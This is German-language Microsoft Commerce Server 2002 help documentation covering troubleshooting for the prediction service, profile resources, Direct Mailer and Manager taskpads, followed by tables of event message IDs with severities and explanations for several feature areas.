
Wenn die Protokolldateien eine falsche Anzahl von eindeutigen, durch Trennzeichen getrennte Elementen oder Wagenrückläufe/Zeilenvorschübe an unzulässiger Position enthalten, kann die Anzahl von Besuchen, die Sie von Commerce Server 2000 und Commerce Server 2002 erhalten, verschieden sein. Ursache hierfür sind Änderungen der Art und Weise, in der die Anwendung die Protokolldatei analysiert. Wenn zudem ein Feld einen positiven Ganzzahlwert enthält (z. B. gesendete Bytes, empfangene Bytes, Statuscode usw.) und das Feld beschädigt ist, wird der Wert des Ganzzahlfeldes in Commerce Server 2002 nicht als gültiges Feld übergeben. Auch ganze Zahlen, die über dem Maximalwert für ganze Zahlen liegen, werden zurückgewiesen.


Problembehandlung bei CommerceServer-Ressourcen

Feedback zu dieser Seite senden Commerce Server 2002

Problembehandlung bei Commerce Server-Ressourcen

In diesem Abschnitt werden Probleme beschrieben, die bei der Arbeit mit Commerce Server-Ressourcen auftreten können, sowie mögliche Lösungen aufgezeigt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Vorhersagedienst: Hilfeoption wird nicht im MMC-Menü für den Vorhersagedienst angezeigt
  • Profilressource: Fehler bei der Anmeldung für den Benutzer
  • Profilressource: Doppelte globale Ressourcen von Profilen
  • Direct Mailer: Dienst startet nicht nach der Installation auf einem Cluster
  • Direct Mailer: Aufträge schlagen fehl, ohne dass eine Fehlermeldung angezeigt wird
  • Direct Mailer: Ermitteln von Einzelheiten zu fehlgeschlagenen Aufträgen


Vorhersagedienst: Hilfeoption wird nicht im MMC-Menü für den Vorhersagedienst angezeigt

Wenn Sie die Vorhersageressource auswählen, im Menü der MMC (Microsoft Management Console) auf Hilfe klicken, und dann die Hilfe für den Vorhersagedienst aufrufen, wird diese nicht angezeigt.

Lösung

Um auf die Hilfe für die Vorhersageressource zuzugreifen, klicken Sie mit der rechten Maustaste auf Vorhersagedienst, und klicken Sie dann auf Hilfe. Die Hilfe für die Vorhersageressource wird angezeigt.


Profilressource: Fehler bei der Anmeldung für den Benutzer

Die folgende Fehlermeldung wird angezeigt:

"Microsoft OLE DB Provider für SQL Server: Fehler bei der Anmeldung für den Benutzer <Benutzername>."

Wenn Sie eine Sicherungskopie der SQL Server-Datenbanktabellen erstellen, die mit der Profilressource verknüpft sind, und diese dann in einer anderen Datenbank entweder in derselben SQL Server-Installation oder einer anderen wiederherstellen, wird die Profilressource möglicherweise nicht initialisiert, da die Verbindungszeichenfolgen zu den Datenbanktabellen nach der Wiederherstellung auf dem neuen SQL Server-Computer möglicherweise nicht mehr gültig sind. Die Verbindungszeichenfolgen sind möglicherweise nicht gültig, da entweder die Anmeldeinformationen nicht gültig sind oder die Datenbank sich nicht in der SQL Server-Installation befindet oder beides zutrifft.

Hinweis

  • Es ist nicht zu empfehlen, die Datenbank direkt zu sichern und wiederherzustellen. Stattdessen sollte zur Sicherung und Wiederherstellung der Datenbanken Commerce Server Site Packager verwendet werden.

Lösung

Das Profilsystem hängt von der Verbindungszeichenfolge s_CommerceProviderConnectionString ab. Diese Verbindungszeichenfolge wird vom OLE DB Provider für Commerce Server verwendet und befindet sich in der Commerce Server-Verwaltungsdatenbank. Wenn die Wiederherstellung der Verwaltungsdatenbank von der Datenbanksicherung erfolgt, erweist sich diese Verbindungszeichenfolge oftmals als ungültig und muss zurückgesetzt werden.

So setzen Sie die Verbindungszeichenfolge "s_CommerceProviderConnectionString" zurück

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Profile, und klicken Sie dann auf Eigenschaften.
  2. Wählen Sie im Dialogfeld Profileigenschaften auf der Registerkarte Verbindungszeichenfolgen den Eintrag s_CommerceProvideConnectionString aus, und klicken Sie dann auf Ändern.
  3. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die notwendigen Änderungen vor, und klicken Sie auf OK.

    Hinweis

    • Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Microsoft Data Link-Hilfe.


Profilressource: Doppelte globale Ressourcen von Profilen

Wenn Sie eine Site löschen und anschließend eine neue Site unter Verwendung derselben PUP-Paketdatei hinzufügen, die zum Erstellen der gelöschten Site verwendet wurde, sind im Commerce Server-Manager zwei globale Profilressourcen vorhanden.

Lösung

Sie müssen die ursprüngliche globale Ressource von Profilen manuell aus dem Commerce Server-Manager entfernen.

So entfernen Sie die globale Ressource von Profilen

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf die Profilressource, die Sie entfernen möchten, und klicken Sie anschließend auf Löschen.
  2. Klicken Sie im Dialogfeld Commerce Server-Manager zur Bestätigung des Löschvorgangs auf Ja.

Daraufhin wird die ursprüngliche Ressource dauerhaft gelöscht.


Direct Mailer: Dienst startet nicht nach der Installation auf einem Cluster

Wenn während des Clustersetups von Direct Mailer oder Vorhersagedienst eine vorangestellte 0 eingegeben wird, startet der Dienst nicht. Weitere Informationen finden Sie im Knowledge Base-Artikel "Ping and FTP Resolve IP Address with Leading Zero as Octal" unter http://go.microsoft.com/fwlink/?LinkId=5593.


Direct Mailer: Aufträge schlagen fehl, ohne dass eine Fehlermeldung angezeigt wird

Wird der SQL Server-Agent angehalten, wenn die Ausführung eines Direct Mailer-Auftrags geplant ist, wird der Auftrag nicht ausgeführt. Sie erhalten keine Meldung, dass der Auftrag nicht gestartet wurde, und es wird auch kein Fehler protokolliert.

Lösung

Um einen Auftrag zu starten, der nicht ausgeführt wurde, muss dieser manuell mit dem SQL Server-Agent in SQL Enterprise Manager ausgeführt werden.

So starten Sie einen Direct Mailer-Auftrag manuell

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server 2000, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: \Microsoft SQL Servers\SQL Server Group\<SQL Server-Name >\Management\SQL Server Agent\Aufträge, und klicken Sie dann auf Aufträge.

    Die Direct Mailer-Aufträge werden im rechten Bereich von SQL Server Enterprise Manager angezeigt.


Direct Mailer: Ermitteln von Einzelheiten zu fehlgeschlagenen Aufträgen

Nach Beendigung eines Direct Mailer-Auftrags protokolliert Direct Mailer ein Ereignis im Ereignisprotokoll der Anwendung. Dieses enthält die Auftragsnummer, die Anfangszeit des Auftrags, die Beendigungszeit des Auftrags, die Anzahl sämtlicher Empfänger der Sendung sowie die Anzahl der aufgetretenen Fehler.

Weitere Informationen zu den fehlgeschlagenen Aufträgen finden Sie in der Direct Mailer-Datenbank in der Tabelle dml_job_errors.

Lösung

Öffnen Sie die Ereignisanzeige, und lokalisieren Sie die von Direct Mailer protokollierte Anwendungsprotokollnachricht.

So öffnen Sie die Ereignisanzeige

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server, und klicken Sie auf Commerce Server-Manager.
  2. Erweitern Sie den Knoten Ereignisanzeige, und doppelklicken Sie auf Anwendung.
  3. Suchen Sie in der Ereignisliste nach dem Ereignis, bei dem für Quelle der Eintrag Commerce Server Direct Mailer und für Ereigniskennung der Wert 18 angegeben sind.
  4. Doppelklicken Sie zum Öffnen des Dialogfelds Eigenschaften von Ereignis auf die Ereignismeldung.
  5. Kopieren Sie im Dialogfeld Eigenschaften von Ereignis die Auftragsnummer in die Zwischenablage, und öffnen Sie dann SQL Server Query Analyzer.

So öffnen Sie SQL Server Query Analyzer

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Query Analyzer.
  2. Stellen Sie im Dialogfeld Verbindung mit SQL Server herstellen die Verbindung zur Direct Mailer-Datenbank her, auf die der Server zum Ausführen von Abfragen zugreift.
  3. Geben Sie im Query Analyzer die folgende Abfrage ein:
    "SELECT * FROM dml_job_errors WHERE job_id = '<job id>'

    wobei <job id> die Auftragsnummer ist, die Sie in Schritt 5 unter So öffnen Sie die Ereignisanzeige kopiert haben.

Das zurückgegebene Resultset enthält Angaben zum Fehlercode und eine Beschreibung aller Fehlschläge, die im Verlauf der Verarbeitung des Direct Mailer-Auftrags aufgetreten sind.


Problembehandlung bei CommerceServer-Manager-Taskpads

Feedback zu dieser Seite senden Commerce Server 2002

Problembehandlung bei Commerce Server-Manager-Taskpads

Wenn Sie eine Version von Commerce Server 2002 installieren, die eine andere Sprache als das Betriebssystem verwendet, funktionieren die Commerce Server-Manager-Taskpads nicht. Dies ist ein bekanntes Problem der Microsoft Management Console 1.2: Taskpads verweisen auf Kontextmenüs in einer einzigen Sprache und funktionieren nicht, wenn die Sprache der Konsolendatei und des Betriebssystems nicht übereinstimmen.

Lösung

So entpacken Sie eine Site

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.

    Der Bildschirm Commerce Server Site Packager wird angezeigt.

  2. Wählen Sie die Option Aus Paketdatei entpacken, und klicken Sie dann auf Weiter.

Führen Sie die Anweisungen in den Site Packager-Dialogfeldern aus. Weitere Informationen dazu finden Sie unter Entpacken einer Site.

So ändern Sie Kennwörter

  • Klicken Sie mit der rechten Maustaste auf Commerce Server-Manager, klicken Sie auf Alle Tasks und anschließend auf Kennwörter ändern.

Weitere Informationen zum Ändern von Kennwörtern finden Sie unter Ändern des Dienstkontos oder des Kennworts.

So ändern Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank

  1. Klicken Sie mit der rechten Maustaste auf Commerce Server-Manager, und klicken Sie anschließend auf Eigenschaften.

    Das Dialogfeld Commerce Server-Manager-Eigenschaften wird angezeigt.

  2. Klicken Sie auf der Registerkarte Verwaltungsdatenbank auf Ändern.

    Das Dialogfeld Datenverknüpfungseigenschaften wird angezeigt.

  3. Sobald Sie die notwendigen Änderungen im Dialogfeld Datenverknüpfungseigenschaften vorgenommen haben, klicken Sie auf OK.

    Wenn Sie weitere Informationen über das vollständige Ausfüllen des Dialogfelds Datenverknüpfungseigenschaften benötigen, klicken Sie im Dialogfeld Datenverknüpfungseigenschaften auf Hilfe. Damit öffnen Sie die Microsoft Data Link-Hilfe.

Hinweis

  • Nach dem Ändern einer Eigenschaft im Commerce Server-Manager ist der Neustart aller Dienste erforderlich, die diese Werte verwenden. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.


Ereignismeldungen

In diesem Abschnitt finden Sie eine umfassende Liste von bekannten Ereignismeldungen. Sie enthält die Meldungs-ID, den Schweregrad und Kommentare für jede Ereignismeldung.

Dieser Abschnitt beinhaltet folgende Themen:

  • Allgemeine Ereignismeldungen
  • Funktionsbereich: Benutzerprofilverwaltung
  • Funktionsbereich: Analyse
  • Funktionsbereich: AuthFilter
  • Funktionsbereich: Katalog
  • Funktionsbereich: Komponenten
  • Funktionsbereich: Core
  • Funktionsbereich: Allgemein
  • Funktionsbereich: Marketing
  • Funktionsbereich: Personalisierungsleistung
  • Funktionsbereich: Profilsystem
  • Funktionsbereich: Vorhersagedienst
  • Funktionsbereich: Sitekonfiguration
  • Funktionsbereich: Direct Mailer
  • Funktionsbereich: DTS-Modell-Generator-Task


Allgemeine Ereignismeldungen

Die folgende Tabelle enthält einige allgemeine Ereignismeldungen.

Ereigniskennung | Ereignismeldung | Kommentare
0x8011 | (<InterneID>:<ThreadID>)cls: <Speicherklassenname>, S: Die Beendigung des Batches wird aufgrund eines Fehlers signalisiert, hr: 0x4, Zeit: | Dieses Ereignis tritt ein, wenn die Speicherschicht versucht, nach Elementen zu suchen, die in der Datenbank vorhanden sind. Die kann im Zusammenhang mit falsch gebildeten Abfragen oder einem zugrunde liegenden SQL-Fehler geschehen. Der Benutzer muss den Prozess erneut ausführen, während der Prozess "CSDWDBGSRV.EXE -f Trace" in einer separaten Eingabeaufforderung ausgeführt wird, und den Bericht (zusammen mit einem reproduzierbaren Dataset) zur Eskalation an den Produktsupport senden.
0x8014 | (<InterneID>:<ThreadID>)cls: <Speicherklassenname>, I: Ausnahme: Die Beendigung des Batches wird aufgrund eines Fehlers signalisiert, hr: 0x4, Zeit: | Dieses Ereignis tritt ein, wenn die Speicherschicht versucht, Daten in die Datenbank einzufügen. Dies kann geschehen, wenn die Datenbank geändert wurde oder das Schema aus einem bestimmten Grund unpassend ist, wodurch ein zugrunde liegender SQL-Fehler ausgelöst wird. Der Benutzer muss den Prozess erneut ausführen, während der Prozess "CSDWDBGSRV.EXE -f Trace" in einer separaten Eingabeaufforderung ausgeführt wird, und den Bericht (zusammen mit einem reproduzierbaren Dataset) zur Eskalation an den Produktsupport senden.
0xC018 | Protokollimporttask: Fehler beim Importieren von Protokollen für die Site <Dateiname> | Allgemeiner Fehler, wenn ein Fehler im DTS-Webserverprotokollimport vorliegt.
0xC008 | Protokollimporttask: Für die Site <Dateiname> wurden keine Protokolldateien für den Import ausgewählt. | Keine Protokolldateien verfügbar.
0x81D2 | In ParseCookie2: Fehler beim Decodieren des URLs für den Cookiewert. | Versuch, ein ungültiges Cookie zu decodieren.
0XC009 | Protokollimporttask: Fehler beim Initialisieren; entweder sind die Verbindungsinformationen ungültig, oder das Data Warehouse befindet sich in einem falschen Status | Ungültige Verbindungszeichenfolge, oder die Data Warehouse-Datenbank ist offline.


Funktionsbereich: Benutzerprofilverwaltung

Die folgende Tabelle enthält bekannte Ereignismeldungen für die Benutzerprofilverwaltung.

Meldungs-ID | Schweregrad | Kommentare
15360 | Fehler | Ungültiger Operator %1. Die WHERE-Klausel für die Abfrage enthält einen Operator, der von der UPM-Datenaggregationsebene nicht verarbeitet werden kann.
15361 | Fehler | Ungültiger Datentyp %1. Die UPM-Datenaggregationsebene hat in der Abfrage eine Eigenschaft eines nicht bekannten Datentyps festgestellt.
15363 | Fehler | Fehler (%1) von DSO-Anbieter festgestellt (veraltet, kann ignoriert werden). Diese Fehlermeldung zeigt lediglich an, dass in der ANSI-SQL- oder LDAP-v3-Komponente der UPM-Datenaggregationsebene ein Fehler aufgetreten ist. Andere Fehlermeldungen im Fehlerstack sollten aussagekräftigere Informationen liefern.
15364 | Fehler | Interner Fehler (%1) bei Aggregationsebene. Diese Fehlermeldung zeigt an, dass ein Fehler auf der UPM-Datenaggregationsebene aufgetreten ist. Entwickler sollten dies Microsoft mitteilen.
15365 | Fehler | Ungültiger Quellentyp %1. Auf der UPM-Datenaggregationsebene ist ein ungültiger Quellentyp aufgetreten.
15366 | Fehler | Ungültiger Vorgangstyp %1. Auf der UPM-Datenaggregationsebene ist ein ungültiger Vorgangstyp aufgetreten.
15367 | Fehler | Nicht genügend Stackspeicher. Die UPM-Datenaggregationsebene konnte keinen Stackspeicherplatz reservieren. Wahrscheinlich hat eine vorausgehende Komponente auf dem Callstack große Teile des Speicherplatzes vom Stack reserviert.
15368 | Fehler | Ungültige Klassendefinition %1. Auf der UPM-Datenaggregationsebene ist eine ungültige Klassendefinition aufgetreten.
15369 | Fehler | Ungültiger Abfragetyp %1.
15370 | Fehler | Falsch gebildete Order By-Liste.
15371 | Fehler | Fehler in Katalogdatenstrukturen.
15372 | Fehler | Ungültige Abfrage.
15373 | Fehler | Ungültiger Tabellenname für %1-Quelle.
15374 | Fehler | Die Maximalanzahl von zulässigen Partitionen wurde überschritten. Das Profilsystem unterstützt maximal 128 Partitionen auf UPM-Pfaden. Diese Fehlermeldung wird ausgegeben, wenn das Profilsystem auf einen Profildefinitionsspeicher mit mehr als 128 Partitionen trifft.
15375 | Fehler | Das Objekt ist bereits vorhanden. Die Erstellung oder Aktualisierung ist fehlgeschlagen, da in den zugrunde liegenden Speichern ein Objekt mit mindestens einem übereinstimmenden Schlüsselelementwert vorhanden ist.
16000 | Fehler | Interner Fehler (%1) beim Verzeichnisanbieter.
16001 | Fehler | Allgemeiner ADSI-Fehler (%1).
16002 | Fehler | Nicht genügend Stackspeicher. Die LDAP-v3-Komponente der UPM-Datenaggregationsebene konnte keinen Stackspeicherplatz reservieren. Wahrscheinlich hat eine vorausgehende Komponente auf dem Callstack große Teile des Speicherplatzes vom Stack reserviert.
16003 | Fehler | Das Objekt ist auf dem Server nicht vorhanden. Das gesuchte Objekt existiert nicht auf dem Server.
16004 | Fehler | Ungültiges Kennwort (%1) (ziemlich häufig). Die Eingabe oder Änderung des Kennworts ist fehlgeschlagen. Mögliche Ursachen: (a) Computer (Clients und Server) in der AD-Domäne sind nicht richtig konfiguriert – Tipps zur Behebung dieses Problems finden Sie im Resource Kit. (b) Der Sicherheitskontext, unter dem dieser Vorgang ausgeführt wird, besitzt keine ausreichenden Berechtigungen, um diesen Vorgang auszuführen.
16005 | Fehler | Fehlender RDN-Attributwert. Das RDN-Attribut für das Objekt wurde nicht angegeben.
16006 | Fehler | Ungültiger Operator.
16007 | Fehler | Ungültiger Datentyp (%1) in Verzeichniskomponente.
16264 | Fehler | Es wurde eine ungültige Anzahl von Werten für die Kennworteigenschaft festgelegt. Die LDAP-v3-Komponente der UPM-Datenaggregationsebene erwartet, dass die Kennworteigenschaft über genau einen Wert auf Objekterstellungspfaden und über zwei Werte auf Objektaktualisierungspfaden verfügt. Dieser Fehler tritt ein, wenn diese Bedingungen nicht zutreffen.
16265 | Fehler | Fehlender Wert für ein erforderliches Schlüsselelement.
16256 | Fehler | Interner Fehler bei Drittanbieter.
16257 | Fehler | Ungültiger Datentyp bei Drittanbieter.
16258 | Fehler | Ungültiger Vorgang bei Drittanbieter.
16259 | Fehler | Es wurde versucht, eine zu große Datenmenge einzufügen.


Funktionsbereich: Analyse

Die folgende Tabelle enthält bekannte Ereignismeldungen für die Analyse.

Meldungs-ID | Schweregrad | Kommentare
12288 | Fehler | Profildatenimport-Task: Fehler beim Erstellen der Commerce Server-Leistungsindikatorkomponente.
12289 | Fehler | Profildatenimport-Task: Fehler beim Initialisieren der Commerce Server-Leistungsindikatorkomponente.
12290 | Fehler | Profildatenimport-Task: Fehler beim Erstellen der Commerce Server-OLEDB-Providerkomponente.
12291 | Fehler | Profildatenimport-Task: Fehler beim Binden an den Verbindungs-URL: %1.
12292 | Fehler | Profildatenimport-Task: Fehler beim Formulieren von Abfragen an 'BizDataStore'.
12293 | Fehler | Profildatenimport-Task: Fehler beim Durchführen von Schemaänderungen im Data Warehouse.
12294 | Fehler | Profildatenimport-Task: Fehler beim Übertragen von Daten in das Data Warehouse.
12295 | Fehler | Profildatenimport-Task: Fehler beim Binden an den Klassen-URL: %1.
12296 | Fehler | Profildatenimport-Task: Fehler beim Öffnen der Klasse %1.
12297 | Fehler | Profildatenimport-Task: Klassenname %1 ist bereits im Data Warehouse vorhanden, aber keiner Biz Data-Katalogklasse zugeordnet.
12298 | Fehler | Profildatenimport-Task: Fehler beim Hinzufügen von Elementen zu Klasse %1. Elementname: %2.
12299 | Fehler | Profildatenimport-Task: Klassenname %1 ist nicht im Data Warehouse vorhanden, aber einer Biz Data-Katalogklasse zugeordnet.
12300 | Fehler | Profildatenimport-Task: Fehler beim Erstellen des Zeitzonenkonvertierungsobjekts.
12301 | Fehler | Profildatenimport-Task: Fehler beim Laden der Elemente für Klasse %1.
12302 | Fehler | Profildatenimport-Task: Das Exportmodul wurde nicht initialisiert.
12303 | Fehler | Profildatenimport-Task: Fehler beim Erstellen von Objekt %1.
12304 | Fehler | Profildatenimport-Task: %1
12305 | Fehler | Profildatenimport-Task: Fehler beim Abrufen von Werten aus der TaskHistory-Tabelle.
12306 | Fehler | Profildatenimport-Task: Fehler beim Festlegen der Werte für die TaskHistory-Tabelle.
12307 | Fehler | Profildatenimport-Task: Fehler beim Initialisieren des Zeitzonenkonvertierungsobjekts.
12308 | Fehler | Profildatenimport-Task: Fehler beim Erstellen der Zeitzonenkonvertierung.
12309 | Fehler | Profildatenimport-Task: Fehler beim Laden des DTS-Task-Eigenschaftendialogs.
12310 | Fehler | Profildatenimport-Task: Primärschlüssel sollte für Klassen, die noch nicht einer vorhandenen Klasse im Data Warehouse zugeordnet sind, exportiert werden. Profil %1 wird nicht exportiert.
12311 | Fehler | Profildatenimport-Task: Eine oder mehrere ungültige Datentypzuordnungen zwischen Profil und Data Warehouse wurden gefunden.
12312 | Fehler | Profildatenimport-Task: Element %2 des Profils %1 weist den Datentyp %3 auf, der inkonsistent ist mit dem Datentyp %6 von Element %5, das der Klasse %4 des Data Warehouse zugeordnet ist. Fehlende Übereinstimmung des Schemas zwischen Laufzeitspeicher und Data Warehouse-Speicher.


Funktionsbereich: AuthFilter

Die folgende Tabelle enthält bekannte Ereignismeldungen für AuthFilter.

Meldungs-ID | Schweregrad | Kommentare
19474 | Fehler | UPM-AUTHFILTER: Der Kennwortcache des Authentifizierungsfilters ist voll. (Größerer Cache muss festgelegt und IIS bzw. die Anwendung neu gestartet werden).
19475 | Fehler | UPM-AUTHFILTER: Der Kennwortcache des Authentifizierungsfilters ist leer oder wurde nicht erstellt.
19476 | Fehler | UPM-AUTHFILTER: Sitename ist leer. Entweder handelt es sich nicht um eine Commerce Server-Site, oder die Datei Csapp.ini enthält den Sitenamen nicht.
19477 | Fehler | UPM-AUTHFILTER: Der Verschlüsselungsschlüssel darf nicht null/leer sein, wenn die Verschlüsselung aktiviert ist. Für die Site wurde die Verschlüsselung aktiviert, aber es wurde kein Verschlüsselungsschlüssel angegeben.
19478 | Fehler | UPM-AUTHFILTER: Der neue Eintrag kann nicht in den Sitekonfigurations-Cache eingefügt werden.
19479 | Fehler | UPM-AUTHFILTER: Der Sitekonfigurationseintrag kann im Sitekonfigurations-Cache nicht gefunden werden.
19480 | Fehler | UPM-AUTHFILTER: Das Ticket kann nicht verschlüsselt werden.
19481 | Fehler | UPM-AUTHFILTER: Das Ticket kann nicht entschlüsselt werden (nicht verwendet).
19482 | Fehler | UPM-AUTHFILTER: Die Ticketdaten können nicht formatiert werden.
19483 | Fehler | UPM-AUTHFILTER: Fehler beim Umleiten der Sendung (HTTP: 302). Überprüfen Sie die in den globalen Ressourcen für die Site angegebenen URLs.
19484 | Fehler | UPM-AUTHFILTER: Fehler beim Festlegen des Cookies.
19485 | Fehler | UPM-AUTHFILTER: Fehler beim Erstellen des Kennwortschlüssels.
19486 | Fehler | UPM-AUTHFILTER: Fehler bei der URL-Decodierung. Falsch gebildeter URL
19487 | Fehler | UPM-AUTHFILTER: Fehler beim Suchen nach dem Kennwortcache, oder der Eintrag wurde nicht gefunden (intern).
19488 | Fehler | UPM-AUTHFILTER: Fehler beim Analysieren der Abfragezeichenfolge. Falsch gebildeter URL
19489 | Fehler | UPM-AUTHFILTER: Fehler beim Cache-Löschen-Thread.
19490 | Fehler | UPM-AUTH: Fehler im Authentifizierungsfilter.
19491 | Fehler | UPM-AUTH: Ungültiges Zeichen (';' oder '%' oder '=') in Benutzer-ID oder Eigenschaftsname/Wert.
19492 | Fehler | UPM-AUTH: Die API sollte nur innerhalb einer ASP aufgerufen werden. Die Methode, die diesen Fehler zurückgibt, hängt von einem ASP-internen Objekt ab. Sie muss daher aus ASP-Seiten aufgerufen werden.
19493 | Fehler | UPM-AUTH: Fehler: Angefordertes Ticket ist nicht festgelegt.
19494 | Fehler | UPM-AUTH: Fehler beim Erstellen des Verschlüsselungsschlüssels.
19495 | Fehler | UPM-AUTH: Ungültiger benutzerdefinierter Eigenschaftsname oder Wert.
19496 | Fehler | UPM-AUTH: Fehler beim Formatieren der Eigenschaften auf dem Ticket.
19497 | Fehler | UPM-AUTHF: Fehler beim Verschlüsseln der Ticketdaten.
19498 | Fehler | UPM-AUTH: Fehler beim Entschlüsseln der Ticketdaten.
19499 | Fehler | UPM-AUTH: Die Verwaltungseigenschaften für Verschlüsselung sind falsch festgelegt (falls Sie Verschlüsselung aktivieren, sollte der Verschlüsselungsschlüssel richtig festgelegt sein).
19500 | Fehler | UPM-AUTH: Fehler beim Hinzufügen des Sitekonfigurationseintrags zum lokalen Sitekonfigurations-Cache.
19501 | Fehler | UPM-AUTH: Fehler beim Löschen des Sitekonfigurationseintrags vom lokalen Sitekonfigurations-Cache.
19502 | Fehler | UPM-AUTH: Fehler beim Abruf des Sitekonfigurationseintrags vom lokalen Sitekonfigurations-Cache.
19503 | Fehler | UPM-AUTH: CryptoAPI: Fehler beim Erstellen des Sitzungsschlüssels vom Kennwort.
19504 | Fehler | UPM-AUTH: Fehler beim Initialisieren der Verschlüsselungs-/Entschlüsselungskomponente.
19505 | Fehler | UPM-AUTHFILTER: Fehler beim Initialisieren des Speicherpools (cpool) für den Kennwortcache im Windows-Authentifizierungsmodus.
19506 | Fehler | UPM-AUTHFILTER: Fehler beim Initialisieren des LKR-Hashs für den Kennwortcache im Windows-Authentifizierungsmodus.
19507 | Fehler | UPM-AUTHFILTER: Fehler beim der Initialisieren des LKR-Hashs für den Sitekonfigurations-Cache.
19508 | Fehler | UPM-AUTH: Fehler beim der Initialisieren des LKR-Hashs für den Sitekonfigurations-Cache.
19509 | Information | UPM-AUTHFILTER: Fehler beim Initialisieren des Sitekonfigurations-Caches.
19510 | Information | UPM-AUTHFILTER: Fehler beim Initialisieren des Kennwortcaches.
19511 | Information | UPM-AUTHFILTER: Fehler beim Initialisieren des Speicherpools für den Kennwortcache: %1.
19512 | Information | UPM-AUTHFILTER: Fehler beim Erstellen des Cleanup-Threads für den Kennwortcache: %1.
19513 | Fehler | UPM-AUTHFILTER: Fehler beim Erstellen des Löschen-Threads für den Kennwortcache.
19514 | Information | UPM-AUTHFILTER: Fehler beim Erstellen des CommerceServer-UPM-PerfCounter-Objekts für die Site '%1' : %2.
19515 | Information | UPM-AUTHFILTER: Fehler beim Initialisieren der Windows-Authentifizierung: %1.
19516 | Information | UPM-AUTHFILTER: Fehler beim Initialisieren des CacheCleanupThread-Objekts: %1.
19517 | Information | UPM-AUTHFILTER: Cleanup-Thread für den Kennwortcache wurde erfolgreich gestartet.
19518 | Fehler | UPM-AUTH: Leerer Kennwortschlüssel ist ungültig.
19519 | Fehler | UPM-AUTH: Fehler beim Erstellen des CommerceServer-UPM-PerfCounter-Objekts für die Site '%1' : %2.


Funktionsbereich: AuthManager

Die folgende Tabelle enthält bekannte Ereignismeldungen für AuthManager.

Meldungs-ID | Schweregrad | Kommentare
19456 | Fehler | UPM-AUTH: Fehler: Angeforderte Eigenschaft ist im Authentifizierungsticket nicht vorhanden.
19457 | Warnung | UPM-AUTH: Warnung: Das Zeitfenster des Authentifizierungstickets ist abgelaufen, möglicherweise muss der Benutzer erneut authentifiziert werden.
19458 | Fehler | UPM-AUTH: Fehler: Benutzer ist nicht authentifiziert, er muss erneut authentifiziert werden.
19459 | Warnung | UPM-AUTH: Fehler: Authentifizierungsticket ist nicht auf Cookie festgelegt.
19460 | Warnung | UPM-AUTH: Warnung: Das Authentifizierungsticket wurde nicht festgelegt.
19461 | Fehler | UPM-AUTH: Warnung: Leeres Authentifizierungsticket.
19462 | Warnung | UPM-AUTH: Fehler beim Festlegen des Cookies.
19463 | Warnung | UPM-AUTH: Warnung: Ein Cookie für authentifizierte Benutzer muss festgelegt werden.
19464 | Fehler | UPM-AUTH: Warnung: Ein Cookie für anonyme Benutzer muss festgelegt werden.
19465 | Fehler | UPM-AUTH: Fehler beim Festlegen des Cookies für registrierten Benutzer.
19466 | Fehler | UPM-AUTH: Fehler beim Festlegen des Cookies für anonymen Benutzer.
19467 | Fehler | UPM-AUTH: Fehler beim Abrufen des Cookies für registrierten Benutzer.
19468 | Fehler | UPM-AUTH: Fehler beim Abrufen des Cookies für anonymen Benutzer.
19469 | Fehler | UPM-AUTH: Fehler beim Abrufen der Abfragezeichenfolge für anonymen Benutzer.
19470 | Fehler | UPM-AUTH: Fehler beim Abrufen der Abfragezeichenfolge für authentifizierten Benutzer.
19471 | Fehler | UPM-AUTH: Fehler beim Entpacken der Ticketdaten.
19472 | Fehler | UPM-AUTH: Fehler: Initialisierung muss mit installiertem Sitenamen erfolgen.
19473 | Fehler | UPM-AUTH: Fehler bei Authentifizierungs-Manager::CryptoAPI_Initialize.


Funktionsbereich: Katalog

Die folgende Tabelle enthält bekannte Ereignismeldungen für den Katalog.

Meldungs-ID | Schweregrad | Kommentare
20480 | Fehler | Nachrichtentext mit zwei Zeichenfolge %1 Ersetzungsparameter %2.
20481 | Fehler | Ungültige XML-Datei %1
20482 | Fehler | Die als 'ProductID' oder als 'VariantID' verwendeten Eigenschaften sind nicht im <KatalogSchema> enthalten.
20483 | Fehler | Fehler beim Konvertieren von %1 von der Zeichenfolge zum erforderlichen Datentyp.
20484 | Fehler | Fehler beim Aktualisieren des Volltextindexes für das Katalogsystem. %1
20485 | Fehler | Die für die Produkt-/Kategorie-/Produktvariante erforderliche eindeutige ID fehlt. %1 %2
20486 | Warnung | Commerce Server-Katalogimport wurde gestartet.
20487 | Warnung | Commerce Server-Katalogimport wurde abgeschlossen.
20489 | Fehler | Fehler beim Datenbankvorgang. %1
20490 | Fehler | Fehler beim Hinzufügen/Aktualisieren der Katalogdefinitionen. %1
20491 | Fehler | Fehler beim Hinzufügen von Spalten zu den Katalogtabellen %1.
20492 | Fehler | Fehler beim Hinzufügen/Aktualisieren der Kataloghierarchien. %1.
20493 | Fehler | Fehler beim Hinzufügen/Aktualisieren der Katalogbeziehungen. %1.
20495 | Fehler | Fehler beim Hinzufügen eines neuen Produktes oder einer neuen Kategorie %1 %2 %3.
20496 | Fehler | Fehler beim Aktualisieren eines Produkts/einer Kategorie %1 %2 %3.
20497 | Fehler | Eine Referenz auf ein Produkt/Kategorie/Eigenschaft, die in der XML-Datei nicht vorhanden ist. %1.
20498 | Warnung | Katalog wird importiert "%1"
20499 | Warnung | Die Datei %1 kann nicht erstellt werden.
20500 | Warnung | Der Microsoft Commerce Server-Katalogexport wurde gestartet.
20501 | Warnung | Der Microsoft Commerce Server-Katalogexport wurde abgeschlossen.
